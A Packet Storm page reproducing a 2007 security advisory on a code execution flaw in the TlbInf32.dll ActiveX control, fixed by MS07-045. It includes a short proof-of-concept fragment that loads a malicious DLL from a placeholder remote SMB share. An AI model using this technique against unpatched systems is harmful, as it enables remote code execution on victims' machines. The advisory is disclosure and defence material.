what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Aug 16, 2007
Authored by Brett Moore SA | Site security-assessment.com

The TypeLib Information object library, implemented in TlbInf32.dll, suffers from a code execution vulnerability.

tags | advisory, code execution
SHA-256 | e427ba1543206c21303e6311555a57d53749181577fe5dec7f3d533a7b88bb9b


Change Mirror Download
= TlbInf32 ActiveX Command Execution
= MS Bulletin posted:
= http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx
= Affected Software:
= Internet Explorer
= tlbInf32.dll
= vstlbinf.dll
= Public disclosure on Wednesday August 15, 2007

The TypeLib Information object library , implemented in TlbInf32.dll,
is a set of COM objects designed to make type library browsing
functionality easily accessible to both Visual Basic and C++

Although it is not marked as safe for scripting in the registry, it does
implement IObjectSafety.

Report for Clsid: {8B217746-717D-11CE-AB5B-D41203C10000}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data

The TypeLibInfoFromFile() function is used to open a file and retrieve
typelib information from it.

TypeLibInfoFromFile(ByVal FileName As String) As TypeLibInfo

This function will accept a webdav/smb share to a DLL file, allowing the
retrieval of information from a DLL hosted on a remote server.

Type libraries can contain help information for the library itself
(TypeLibInfo object), each TypeInfo (TypeInfo object), and each member
(MemberInfo object). This information is available in several

HelpString is the documentation string which appears as a short
description of the string in object browsers. If the optional LCID
(Language/Country identifier) is specified, then the returned string
localized if possible.

Documentation strings can be stored either in the type library
or retrieved via a call to the DLLGetDocumentation entry point in the
specified by the HelpStringDll property.

The HelpStringContext is passed to the HelpStringDll to get the
documentation string for the object. The HelpStringDll and
HelpStringContext properties values are used automatically by the
HelpString property.

If the DLL file specified in the call to TypeLibInfoFromFile() has been
modified to direct the HelpStringDll property to a DLL which exports
a malicious DLLGetDocumentation function, then this function will be
executed when a request for the HelpString property is made.

<object width=1000 height=20 classid="CLSID:<CLASSID>"
x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")
' Call the remote DLLGetDocumentation function

== Solutions ==

Install the vendor supplied patch.

== Credit ==

Discovered and advised to Microsoft November 23 2006 by Brett Moore of

As this is my last advisory release before I leave sa.com and head off
into the future, I gotta say thanx to the team there, its been a blast

All you kiwis overseas have you thought about a trip home.


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By